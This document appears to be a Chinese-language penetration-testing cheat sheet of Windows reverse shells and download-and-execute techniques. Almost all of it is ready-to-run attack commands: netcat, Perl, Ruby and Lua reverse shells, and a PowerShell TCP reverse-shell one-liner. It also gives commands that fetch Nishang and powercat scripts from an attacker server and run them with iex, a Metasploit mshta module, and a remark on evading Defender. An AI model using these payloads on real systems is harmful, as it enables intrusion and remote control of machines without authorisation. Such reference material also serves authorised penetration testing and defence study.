Lolbas

页面lolbas-project.github.io是为Windows准备的，就像https://gtfobins.github.io/是为Linux准备的。 显然，在Windows中没有SUID文件或sudo权限，但了解一些二进制文件如何（被）滥用以执行某种意外操作，比如执行任意代码是很有用的。

NC

nc.exe -e cmd.exe <Attacker_IP> <PORT>

SBD

sbd是一种便携且安全的Netcat替代工具。它适用于类Unix系统和Win32。具有强加密、程序执行、可定制源端口和持续重新连接等功能，sbd为TCP/IP通信提供了多功能解决方案。对于Windows用户，可以使用Kali Linux发行版中的sbd.exe版本作为可靠的Netcat替代品。

# Victims machine

Perl

Perl是一种通用的脚本语言，可用于在Windows系统上执行各种任务。Perl脚本可以用于执行系统命令、文件操作、网络通信等操作。Perl在Windows系统上的使用非常灵活，可以通过Perl脚本轻松实现各种自定义功能。

perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

Ruby

#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua

Lua是一种轻量级、高效的脚本语言，常用于嵌入式系统和游戏开发中。 Lua脚本可以通过C语言编写的解释器来运行。 Lua具有简洁的语法和强大的扩展能力，被广泛应用于各种领域。 Lua脚本可以通过调用系统命令执行操作系统级别的任务。

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

powershell -exec bypass -f \\webdavserver\folder\payload.ps1

一行代码：

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Mshta - Metasploit

Mshta is a utility in Windows that executes Microsoft HTML Applications (HTA). Metasploit has a module that can be used to execute malicious HTA payloads using mshta.exe. This technique can be used to bypass application whitelisting and execute code on a target system.

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109

Powershell Shells

PS-Nishang

https://github.com/samratashok/nishang

在Shells文件夹中，有许多不同的shell。要下载并执行Invoke-PowerShellTcp.ps1，请复制该脚本并附加到文件末尾：

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

在Web服务器上开始提供脚本，并在受害者端执行它：

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender尚未将其检测为恶意代码（截至2019年3月4日）。

TODO: 检查其他nishang shells

PS-Powercat

https://github.com/besimorhino/powercat

下载，启动Web服务器，启动监听器，并在受害者端执行：

powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"

powercat提供的其他选项：

绑定shell、反向shell（TCP、UDP、DNS）、端口重定向、上传/下载、生成载荷、提供文件...

Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep

Empire

https://github.com/EmpireProject/Empire

创建一个PowerShell启动器，保存到文件中，然后下载并执行它。
